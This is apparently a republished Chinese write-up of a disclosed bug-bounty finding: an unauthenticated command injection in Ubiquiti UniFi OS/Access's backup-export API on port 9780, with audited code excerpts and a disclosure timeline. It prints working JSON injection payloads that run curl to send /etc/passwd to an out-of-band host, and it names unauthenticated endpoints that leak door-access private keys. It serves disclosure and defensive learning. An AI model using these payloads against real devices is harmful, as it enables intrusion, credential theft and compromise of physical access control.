在为一次客户项目进行安全评估时,我们发现并利用了一个存在于 Ubiquiti UniFi OS 系统中的严重未授权远程代码执行漏洞,并因此获得了 25,000 美元的最高额漏洞赏金。
这个关键漏洞本质上是一个命令注入问题,它允许攻击者在无需任何身份验证的情况下,直接在前台服务上执行任意命令。这个发现并非孤立事件,它还引出了一系列缺乏访问控制与输入验证的未授权 API 接口。
下面,我们将完整复盘整个漏洞的发现、分析与利用过程,看看多个未授权 API 中不安全的设计模式,是如何在没有用户交互或凭证的情况下,最终导致系统被完全攻陷的。
信息收集:从登录界面到社区线索
在一次标准的安全评估中,我们对目标网络环境进行侦察,发现了一台 IP 地址为 192.168.1.1 的活跃主机。通过浏览器访问该地址,我们看到了 UniFi OS 的登录界面,这确认了目标设备运行的是基于 UniFi 的系统,具体型号为 UDM (UniFi Dream Machine SE) 系列路由器。

为了寻找潜在的攻击面,我们将目光投向了社区。在 Ubiquiti 官方论坛中,我们搜索了与备份操作和 API 行为相关的已知问题,特别是围绕 /api/ucore/backup/export 这个端点的讨论。

我们发现大量用户报告了与此端点相关的 500 内部服务器错误、ECONNREFUSED(连接被拒绝)以及各类组件(如 Protect、Network、UUM)的备份失败。这些现象强烈暗示:备份系统是模块化的,它通过环回(loopback)API 与各种内部服务交互,而 /api/ucore/backup/export 正是这些组件共同调用的一个关键接口。
这引出了一个核心问题:如果这个端点设计为只监听 127.0.0.1,那么我们如何能从外部触及并利用它呢?
代码审计:梳理攻击路径
为了理清整个流程,我们获取了一份 UniFi Core 的软件包,解压后开始追踪 service.js 文件中所有对 “backup/export” 的引用。很快,两个关键函数揭示了端到端的路径。
第一个函数 YO 负责构造指向内部导出端点的请求:
var YO = async (e, t) => {
let r = `http://127.0.0.1:${e}/api/ucore/backup/export`,
o = await k(r, {
method: "POST",
body: JSON.stringify({ dir: t }),
headers: { "Content-Type": "application/json" }
});
if (!o.ok) throw new Error(`Request to ${r} failed, status: ${o.status}, text: ${await o.text()}`)
};
这里的 e 是目标应用模块(如 Network、Access、Protect)所使用的端口号,而 t 则是由调用方传入的一个目录路径。关键在于,t 的值未经任何验证就被序列化为 JSON 请求体中的 dir 字段,直接发往内部处理程序。
第二个函数 zf 是高层的控制器,它决定是从远程控制台获取备份,还是触发本地导出(即调用上面的 YO 函数)。
zf = async ({ port: e, outputDir: t, name: r }) => {
try {
let o = await bu(r); // 验证版本
if (!o) throw new Error(...); // 若无效则暂停
...
if (...) {
// 备份由另一台设备通过API处理
let i = await Te(n.mac).request({ type: "downloadBackup", name: r });
let c = Qo.join(t, Ji);
await _o.writeFile(c, i.body);
await x({ cwd: t, file: c }); // 解压或移动归档文件
} else {
await Fe(() => YO(e, t), ...); // 关键点:调用内部YO()函数
}
if (await Tu(t)) // 检查备份文件夹是否为空
throw new Error(`Backup directory for "${r}" is empty`);
await J("chmod", ["-R", "775", t]); // 权限处理
let s = await AEe(t); // 调用 `du -s` 获取备份大小
return { success: true, version: o, size: s };
} catch (o) {
return { success: false, err: _(o) };
}
}
zf 在调用 YO 之前,会确保输出目录存在并设置权限,导出完成后还会验证目录非空、递归修复权限并使用 du -s 测量大小。整个链条中,zf 将 outputDir 传给 YO,YO 再将其原样传递给运行在 localhost 上的导出端点。

经过代码审计,我们确信存在代码执行的可能。编排器从外部请求接收 dir 值,不经处理就转发给内部端点,而导出处理器在创建备份工作区(执行 mktemp, chmod, tar 等命令)时,会将该值直接拼接进 Shell 命令。由于对 dir 缺乏验证和转义,其中包含的元字符将被 Shell 解释为新的命令。
这揭示了系统的两个关键属性:
- 敏感的备份操作本不应直接暴露,它监听在
127.0.0.1,理论上只能由编排器访问。
- 它从编排器接收的唯一输入就是
dir 参数。
因此,我们需要的突破口是一个能从外部访问的、并能“诱使”它发起相同内部调用的接口。
漏洞利用:找到外部入口并注入命令
我们在 192.168.1.1 上枚举了所有开放的 TCP 端口,并编写了一个简单的脚本来探测每个服务是否包含 /api/ucore/backup/export 路径。大多数端口返回 404,但 端口 9780 给出了 405 Method Not Allowed 的响应。
这个状态码很有价值——它意味着路由存在,只是我们使用的 HTTP 方法不对(比如用了 GET 而不是 POST)。这证明该处理程序确实能从网络访问,并且如果我们模仿编排器的请求格式发送 POST,它很可能会接受。
于是,我们改用正确的 POST 方法,并设置 Content-Type: application/json,主体结构参照 service.js 中的格式。我们最初的尝试是一个简单的命令注入负载:
{"dir":"/tmp/catchify-lab; curl -s --data-binary @/etc/passwd http://test.oastify.com/"}

然而,我们的外联服务器(Collaborator)没有收到任何请求。仔细想想导出程序的完整流程就明白了:它在使用 dir 后,还会继续执行 mktemp、chmod、tar、du -s 等一系列命令。我们虽然用分号 ; 成功“逃逸”出了预定的参数位置,但原始命令行的剩余部分在我们注入的 curl 命令之后仍会被 Shell 解析,这导致在注入的命令执行完毕前就出现了语法或路径错误,使得注入失败。
我们对负载进行了调整,不仅要干净地终止注入的命令,还要通过注释符来“中和”后面任何残余的 Shell 语法:
{"dir":"/tmp/catchify-; curl -s --data-binary @/etc/passwd http://test.oastify.com/; #"}
末尾的 ; 干净地结束了我们注入的 curl 命令,而 # 则注释掉了原始命令行剩下的所有内容。这避免了导出脚本的残留标记引发语法冲突。

这次调整立竿见影。设备成功向我们的外联服务器发出了 HTTP POST 请求,我们收到了 /etc/passwd 文件的内容,这直接确认了命令执行和数据外泄的能力。

更进一步,我们尝试建立了一个标准的反向 Shell 连接,并成功获得交互式访问权限,执行了 id 和 whoami 命令,确认了当前进程权限。

被利用的 RCE 漏洞使我们得以进入 UniFi Access 模块,这意味着获得了门禁控制和 NFC 凭证管理的潜在访问权限,可能导致对整个物理安全系统的完全入侵。这类深入的渗透测试发现,突显了从外部接口到核心内部服务链式攻击的严重性。
其他未授权API的发现
在成功利用 RCE 之后,我们继续深入,通过交叉对比目标设备上可访问的 Swagger 文档与官方 API 参考,验证了其他未授权 API 接口的存在。实时 API 文档使路由枚举变得非常便捷。
首先,未授权的 POST 请求到 /api/v1/user_assets/nfc,即使携带包含配置字段的 JSON 主体,服务也会直接返回 {"code":"CODE_SUCCESS"},这证实了该端点无需任何会话或身份验证即可访问并处理请求。

更严重的是,一个简单的未授权 GET 请求到 /api/v1/user_assets/touch_pass/keys,直接返回了用于移动/NFC 门禁功能的实时密钥材料,包括苹果 NFC 快速/安全密钥、终端标识以及包含 PEM 格式私钥的 Google Pass 认证密钥块。所有这些敏感信息都通过同一个可从外部访问的端口泄露,且全程无需认证。

漏洞披露与时间线
- 报告方: Catchify Security
- 报告提交: 2025年10月9日 18:14 UTC
- 厂商响应: Ubiquiti 于 2025年10月9日 19:40 UTC 确认并开始处理
- 修复发布: 漏洞已在 UniFi Access 相关版本中修复
- 赏金金额: 25,000 美元(非 Ubiquiti 云目标类别的最高额度)
- 公开披露: 厂商表示将在公开安全公告中包含 CVE 编号并给予我方全额致谢
文章参考来源: CVE-2025-52665 - RCE in Unifi Access ($25,000)
这次对 UniFi OS 系统的安全评估,从最初的网络侦察到最终的漏洞利用与深入发现,清晰地展示了攻击面如何从外部 API 蔓延至内部核心服务。它强调了在安全设计中对所有输入进行严格验证、实施最小权限原则以及确保内部服务接口不被意外暴露的重要性。对于企业和安全研究人员而言,定期进行此类深度的安全评估是防御此类链式攻击的关键。欢迎在云栈社区交流更多安全技术细节。